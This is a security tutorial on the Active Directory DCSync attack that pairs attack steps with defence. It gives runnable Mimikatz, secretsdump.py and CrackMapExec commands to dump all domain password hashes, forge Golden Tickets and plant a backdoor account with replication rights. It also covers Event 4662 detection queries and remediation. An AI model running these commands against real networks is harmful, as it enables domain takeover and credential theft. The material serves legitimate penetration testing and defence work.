
DCSync Attack: Extracting Domain Credentials
DCSync attack technique that abuses AD replication rights to extract password hashes directly from a Domain Controller.
Introduction
DCSync abuses the DS-Replication-Get-Changes-All right — part of the Directory Replication Service (DRS) Remote Protocol — to impersonate a Domain Controller and request password data for any account directly from a DC. No code runs on the target DC, no process injection occurs, and no local admin rights on the DC are required. The attack works because AD replication is a legitimate, trusted function; the DC sees the request as coming from another DC and responds with account secrets.
The replication rights that make this possible are DS-Replication-Get-Changes (GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) and DS-Replication-Get-Changes-All (GUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2). The second right — the "All" variant — is what unlocks access to replicated secrets such as NT hashes, Kerberos keys, and reversibly encrypted passwords. By default these rights exist only on Domain Controllers and the Enterprise Read-Only Domain Controllers group, but delegated replication accounts (Azure AD Connect sync, third-party backup agents) or misconfigured ACLs routinely expose them to ordinary domain accounts.
The KRBTGT account hash is the primary target. With it you can generate Golden Tickets valid for the lifetime of the current KRBTGT key pair, effectively owning the domain until both successive KRBTGT password resets are performed. Every privileged service account hash pulled via DCSync represents the same instant escalation path.
Authorization Required
DCSync against production domain controllers without explicit written authorization is a criminal offense in most jurisdictions. The techniques documented here are for authorized penetration testing and red team operations only. Pulling credential material from a production DC, even as part of a proof-of-concept, constitutes unauthorized access to computer systems.
Impact
- Full domain compromise — KRBTGT hash enables Golden Ticket creation, providing persistent, undetectable domain access until KRBTGT is rotated twice
- Offline credential exposure — all account NT hashes, Kerberos AES keys, and LM hashes (where enabled) extracted without touching LSASS
- No DC footprint — no process injection, no code execution on the DC, reduced forensic artifact surface
- Service account pivoting — service account hashes crackable offline or usable directly in pass-the-hash against every system the account touches
- Trust relationship traversal — extracting trust account hashes (
[DOMAIN]$) enables inter-forest and inter-domain lateral movement - Persistence — attacker can re-DCSync at will if the delegated rights are not revoked, even after an incident response password reset
Technical Details
The DRS protocol (MS-DRSR) is used by DCs to synchronize the AD database. When a DC receives a GetNCChanges RPC call, it checks the caller's rights against the NC root object (DC=domain,DC=com). If the caller holds DS-Replication-Get-Changes-All, the DC streams back attribute deltas including unicodePwd (NT hash), supplementalCredentials (Kerberos keys), and other secret attributes.
An attacker with sufficient rights authenticates to the DC over RPC, invokes DRSGetNCChanges, and receives the same attribute payload a legitimate DC would receive during replication. The request is indistinguishable at the protocol level from legitimate replication traffic.
Identify Accounts with Replication Rights
Before executing DCSync, confirm which accounts hold the required rights. BloodHound marks this as the DCSync edge on any principal that holds both GetChanges and GetChangesAll on the domain object.
# Import PowerView
Import-Module .\PowerView.ps1
# Find all principals with DCSync rights on the domain root
$DomainSID = (Get-DomainSID)
Get-DomainObjectAcl -DistinguishedName "DC=corp,DC=local" -ResolveGUIDs |
Where-Object {
$_.ObjectAceType -match "DS-Replication-Get-Changes" -and
$_.ActiveDirectoryRights -match "ExtendedRight"
} |
Select-Object SecurityIdentifier, ObjectAceType, AceType |
ForEach-Object {
$sid = $_.SecurityIdentifier
Convert-SidToName $sid
}MATCH p=(n)-[:DCSync]->(d:Domain) RETURN pLegitimate holders: Domain Controllers, Enterprise Domain Controllers, ENTERPRISE DOMAIN CONTROLLERS. Any user or group outside those is an anomaly worth investigating before you weaponize it.
Verify Rights via LDAP (Alternative)
If BloodHound data is unavailable, query the domain NC root ACL directly.
$root = [ADSI]"LDAP://DC=corp,DC=local"
$acl = $root.psbase.ObjectSecurity.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])
$repl_guids = @(
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", # DS-Replication-Get-Changes
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes-All
)
$acl | Where-Object {
$repl_guids -contains $_.ObjectType.ToString()
} | Select-Object IdentityReference, ObjectType, ActiveDirectoryRightsExecute DCSync with Mimikatz
From any domain-joined Windows host running as the compromised account (Domain Admin, delegated replication account, etc.):
# Pull KRBTGT hash
lsadump::dcsync /user:krbtgt
# Pull specific user
lsadump::dcsync /user:corp\Administrator
# Specify DC explicitly (useful in multi-DC environments)
lsadump::dcsync /user:krbtgt /dc:DC01.corp.localMimikatz output for KRBTGT:
[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[DC] 'krbtgt' will be the user account
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 3/12/2024 2:14:17 AM
Object Security ID : S-1-5-21-3623811015-3361044348-30300820-502
Object Relative ID : 502
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986
lm - 0: 44f0a019fb2ff1fd8a05bb82abf4fb4f
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : CORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 76a40753841e4de4954b0df327d2ef6ebe3f3e89e7e38c59d7d2af9aff3dc14d
aes128_hmac (4096) : 8f3d2e40e3d6c62b19aa2e8a7ce0d48cDump All Domain Accounts
To pull the complete NTDS.dit equivalent — all accounts, hashes, and Kerberos keys:
lsadump::dcsync /all /csvThe /csv flag outputs username:RID:LM:NT format suitable for direct import into Hashcat or CrackMapExec. Expect significant output volume on large domains; redirect to a file.
Execute DCSync from Linux with Impacket
secretsdump.py is the standard Linux-side tool and does not require a domain-joined host — it needs network access to port 445/135 on the DC.
secretsdump.py corp.local/Administrator:'P@ssw0rd'@10.10.10.1 -just-dc-ntlm
# With NTLM pass-the-hash (no plaintext password)
secretsdump.py -hashes :a87f3a337d73085c45f9416be5787d86 corp.local/Administrator@10.10.10.1 -just-dc-ntlm
# Output to file
secretsdump.py corp.local/svc_sync:'SyncP@ss!'@10.10.10.1 -just-dc-ntlm -outputfile domain_hashesThe -just-dc-ntlm flag limits output to NT hashes without Kerberos keys — faster and less noisy. Drop the flag to pull full supplemental credentials including AES keys.
corp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86:::
corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4e9815869d2090ccfca61c1fe0d23986:::
corp.local\svc_sql:1112:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Golden Ticket from KRBTGT Hash
With the KRBTGT NT hash and domain SID, generate a Golden Ticket using Mimikatz:
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3623811015-3361044348-30300820 /krbtgt:4e9815869d2090ccfca61c1fe0d23986 /pttOr from Linux using ticketer.py:
ticketer.py -nthash 4e9815869d2090ccfca61c1fe0d23986 \
-domain-sid S-1-5-21-3623811015-3361044348-30300820 \
-domain corp.local Administrator
# Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.localThe ticket is valid for 10 years by default (Mimikatz) or until the KRBTGT password changes twice.
Attack Tools
# Single account — NT hash + Kerberos keys
lsadump::dcsync /user:krbtgt
# Single account from specific DC
lsadump::dcsync /user:Administrator /dc:DC01.corp.local
# All accounts, CSV format
lsadump::dcsync /all /csv
# All accounts, full credential dump
lsadump::dcsync /all
# Target domain explicitly (in trust scenarios)
lsadump::dcsync /user:corp\krbtgt /domain:corp.localMimikatz requires SeDebugPrivilege on the calling process when running on a domain-joined host. Use privilege::debug if the process lacks it.
# Cleartext credentials
secretsdump.py corp.local/user:password@DC_IP -just-dc-ntlm
# Pass-the-hash
secretsdump.py -hashes :NTHASH corp.local/user@DC_IP -just-dc-ntlm
# Kerberos ticket authentication
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local
# Full dump including Kerberos AES keys
secretsdump.py corp.local/user:password@DC_IP -just-dc
# Single account
secretsdump.py corp.local/user:password@DC_IP -just-dc-user krbtgt
# Save output to file
secretsdump.py corp.local/user:password@DC_IP -just-dc-ntlm -outputfile hashes.txt
# Via SOCKS proxy
secretsdump.py -dc-ip 10.10.10.1 corp.local/user:password@DC_IP -just-dc-ntlm# Full domain dump via SMB (wraps secretsdump internally)
crackmapexec smb DC_IP -u Administrator -p 'P@ssw0rd' --ntds
# Pass-the-hash
crackmapexec smb DC_IP -u Administrator -H NTHASH --ntds
# DRSUAPI method (DCSync)
crackmapexec smb DC_IP -u Administrator -p 'P@ssw0rd' --ntds drsuapi
# VSS method (volume shadow copy — different technique)
crackmapexec smb DC_IP -u Administrator -p 'P@ssw0rd' --ntds vss
# Dump single user
crackmapexec smb DC_IP -u Administrator -p 'P@ssw0rd' --ntds --ntds-history# Find accounts with DS-Replication-Get-Changes-All
Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -ResolveGUIDs |
Where-Object { $_.ObjectAceType -eq "DS-Replication-Get-Changes-All" } |
Select-Object SecurityIdentifier, AceType |
ForEach-Object { Convert-SidToName $_.SecurityIdentifier }
# Check specific user for DCSync rights
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs |
Where-Object {
$_.SecurityIdentifier -eq (Get-DomainUser svc_sync).objectsid -and
$_.ObjectAceType -match "DS-Replication-Get-Changes"
}
# Add DCSync rights (if you have WriteDACL on domain root)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
-PrincipalIdentity svc_backdoor \
-Rights DCSyncDetection
Event ID 4662 — Object Operation
The primary detection signal. Event ID 4662 fires on the DC when a replication operation accesses the domain object. The key fields to filter on:
| Field | Value |
|---|---|
| Event ID | 4662 |
| Object Type | %{19195a5b-6da0-11d0-afd3-00c04fd930c9} (domainDNS) |
| Properties | {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes-All) |
| Accesses | Control Access |
The event fires for every account replicated, so a full domain DCSync generates hundreds of 4662 events in rapid succession. The initiating IP address (IpAddress field) is the attacker's host, not a DC IP — that mismatch is the primary anomaly indicator.
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4662)]]
and
*[EventData[Data[@Name='Properties'] and (Data='%%{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}')]]
and
*[EventData[Data[@Name='AccessMask']='0x100']]
</Select>
</Query>
</QueryList>Splunk Detection Query
index=windows EventCode=4662
Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
AccessMask="0x100"
| eval is_dc=if(match(src_ip, "^10\.10\.10\.(1[0-9]|20)$"), "yes", "no")
| where is_dc="no"
| stats count, values(src_ip), values(SubjectUserName) by _time span=1m
| where count > 5Replace the src_ip regex with your actual DC IP range.
KQL — Microsoft Sentinel
SecurityEvent
| where EventID == 4662
| where Properties has "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
| where AccessMask == "0x100"
| extend SourceIP = tostring(EventData.IpAddress)
// Filter out known DC IPs
| where SourceIP !in ("10.10.10.10", "10.10.10.11")
| summarize Count=count(), Accounts=make_set(SubjectUserName) by SourceIP, bin(TimeGenerated, 5m)
| where Count > 3Additional Detection Indicators
- 4742 / 4723 — Computer account password change immediately after DCSync (attacker rotating extracted creds)
- Network: DRS RPC traffic (
\PIPE\lsarpcor\PIPE\drsuapi) from a workstation IP to DC port 135/445 - 4768 with forged SID — Golden Ticket use generates 4768 events with
Ticket Options: 0x40810010and client IP not matching a real DC - Rapid sequential 4662 events — legitimate DC-to-DC replication generates them in batches; attacker replication targeting single accounts generates individual events clustered tightly
Privileged Access Monitoring
Establish a baseline of which hosts legitimately call DRSGetNCChanges by correlating LDAP audit logs with known replication topology. Alert immediately when any host outside that baseline generates 4662 with the DS-Replication-Get-Changes-All property.
Remediation
Audit and Remove Excessive Replication Rights
# Find all non-default principals with DCSync rights
$DomainDN = (Get-ADDomain).DistinguishedName
$DefaultDCSync = @(
(Get-ADGroup "Domain Controllers").SID,
(Get-ADGroup "Enterprise Read-Only Domain Controllers").SID
)
Get-ACL "AD:$DomainDN" | Select-Object -ExpandProperty Access |
Where-Object {
$_.ObjectType -eq [Guid]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -and
$_.AccessControlType -eq "Allow" -and
$_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]) -notin $DefaultDCSync
} |
ForEach-Object {
Write-Warning "Unexpected DCSync right: $($_.IdentityReference)"
# Remove via AD ACL editor or dsacls
# dsacls "$DomainDN" /D "$($_.IdentityReference):CA;Replicating Directory Changes All"
}Tiered Administration Model
Restrict which accounts can authenticate to DCs and hold replication-adjacent rights:
- Tier 0 — Domain Controllers, AD management tools, KRBTGT, Domain Admins. These accounts never touch Tier 1 or Tier 2 systems.
- Tier 1 — Server administrators. No rights on DCs or AD objects.
- Tier 2 — Workstation administrators. No rights on servers or DCs.
Accounts used to manage Azure AD Connect or third-party AD sync tools hold DS-Replication rights by design — scope these accounts strictly and monitor them heavily.
Restrict Azure AD Connect Sync Account
Azure AD Connect creates a sync account with DS-Replication-Get-Changes and DS-Replication-Get-Changes-All for password hash sync. This account is a high-value DCSync target.
# Find the sync account (typically MSOL_xxxxxxxx)
Get-ADUser -Filter {SamAccountName -like "MSOL_*"} -Properties MemberOf, PasswordLastSet
# Verify it's not a member of privileged groups
Get-ADPrincipalGroupMembership -Identity "MSOL_abcd1234"
# Confirm login restrictions (should only authenticate from AAD Connect server)
Get-ADUser "MSOL_abcd1234" -Properties LogonWorkstationsRestrict the sync account's logon workstation attribute to only the Azure AD Connect server. Enable fine-grained password policy requiring 25+ character passwords and audit all authentications.
Privileged Access Workstations (PAWs)
Domain Admin and Tier 0 accounts should only log on from dedicated PAWs:
- No internet access from PAW
- BitLocker + Secure Boot + UEFI password
- Credential Guard enabled
- Windows Defender Application Control (WDAC) policy blocking untrusted binaries (including Mimikatz)
- AppLocker / WDAC prevents execution of
lsadump::dcsync
KRBTGT Password Rotation
Rotate KRBTGT twice to invalidate existing Golden Tickets. The two rotations must be separated by the maximum ticket lifetime (default 10 hours) to avoid breaking live Kerberos sessions:
# Rotation 1
Set-ADAccountPassword -Identity krbtgt -NewPassword (ConvertTo-SecureString (
-join ((65..90)+(97..122)+(48..57) | Get-Random -Count 40 | ForEach-Object {[char]$_})
) -AsPlainText -Force) -Reset
# Wait at least 10 hours (max ticket lifetime), then rotation 2Microsoft's KRBTGT key roller script handles sequencing and replication delay automatically: New-KrbtgtKeys.ps1.
References
MITRE ATT&CK Techniques
- T1003.006 - OS Credential Dumping: DCSync — primary DCSync technique
- T1078.002 - Valid Accounts: Domain Accounts — abusing delegated accounts with replication rights
- T1087.002 - Account Discovery: Domain Account — enumerating ACLs to find DCSync-capable accounts
Tools Documentation
- Mimikatz lsadump::dcsync — reference implementation
- Impacket secretsdump.py — Linux-based DCSync via DRSuapi
- BloodHound DCSync edge — privilege path visualization
- PowerView Get-DomainObjectAcl — ACL enumeration
- New-KrbtgtKeys.ps1 — Microsoft's KRBTGT rotation script
- MS-DRSR Protocol Specification — underlying protocol documentation
Next Steps
AS-REP Roasting Attack and Defense
AS-REP Roasting attack targeting accounts without Kerberos pre-authentication. Offline password cracking techniques and detection strategies.
DnsAdmins Group Exploitation: From DNS to Domain Admin
Detailed walkthrough of DnsAdmins privilege escalation through DLL injection into DNS service, covering exploitation, cleanup, and mitigation strategies.